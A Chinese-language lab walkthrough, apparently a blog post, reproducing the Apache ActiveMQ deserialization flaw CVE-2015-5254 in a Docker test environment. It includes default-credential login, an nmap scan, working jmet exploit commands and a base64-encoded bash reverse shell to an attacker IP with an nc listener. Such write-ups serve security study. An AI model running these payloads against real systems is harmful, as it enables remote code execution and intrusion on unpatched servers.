一、漏洞描述
Apache ActiveMQ 是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。
二、漏洞成因
Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。
三、影响版本
Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
四、利用限制
1).版本符合
2).立即执行代码:能够通过弱密码登录查看消息队列
3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发
五、docker的相关操作(默认安装了docker-compose)
在相应的文件夹位置打开终端后进行如下操作
运行此靶场
sudo docker-compose up -d
查看启动环境
sudo docker ps
关闭此靶场环境
sudo docker-compose down
六、漏洞复现
1.漏洞的文件夹中打开终端
2.运行此靶场
sudo docker-compose up -d
如果发现下载很慢或者失败可以看这个师傅的操作
在执行Dockerfile时出现Get https://registry-1.docker.io/v2/错误的解决方案-CSDN博客文章浏览阅读4w次,点赞10次,收藏21次。1.在IDEA中建立好了SpringBoot项目,并配置好了docker容器,然后在执行Dockerfile时出现以下问题Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting head..._registry-1.docker.iohttps://blog.csdn.net/weixin_43414429/article/details/97003932
3.查看启动环境
sudo docker ps
其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问http://192.168.83.136:8161,可以看到web管理页面
4.登录网页
打开http://192.168.83.136:8161/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围
5.复现描述:
生成序列化的有效负载(可以使用 ysoserial)
作为一个消息,将有效负载发送到端口 61616
访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。
5.复现过程
a.nmap扫描
通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务
nmap -p- -A -O 192.168.83.136
b.利用 jmet-0.1.0-all.jar攻击
下载jmet-0.1.0-all.jar包
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
执行命令,将有效负载发送到目标IP的61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.83.136 61616
如果出现报错,需要更换java的版本
需要可以看这个师傅操作,实测有效
点击查看这条消息即可触发命令执行
点击查看这条消息即可触发命令执行
6.登录容器环境
登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建。
docker exec -it [容器ID] bash
docker exec -it c98e17fc5287 bash
docker ps -a //查看容器id
查看上传成功了
7.反弹shell
反弹到攻击机的主机上
ip 192.168.83.156
#bash反弹命令
bash -i >& /dev/tcp/192.168.83.156/31005 0>&1
CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码 (hiencode.com)http://www.hiencode.com/base64.html攻击机监听端口
nc -lvvp 31005
漏洞攻击
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgzLjE1Ni8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.83.136 61616
攻击成功后在web页面点击访问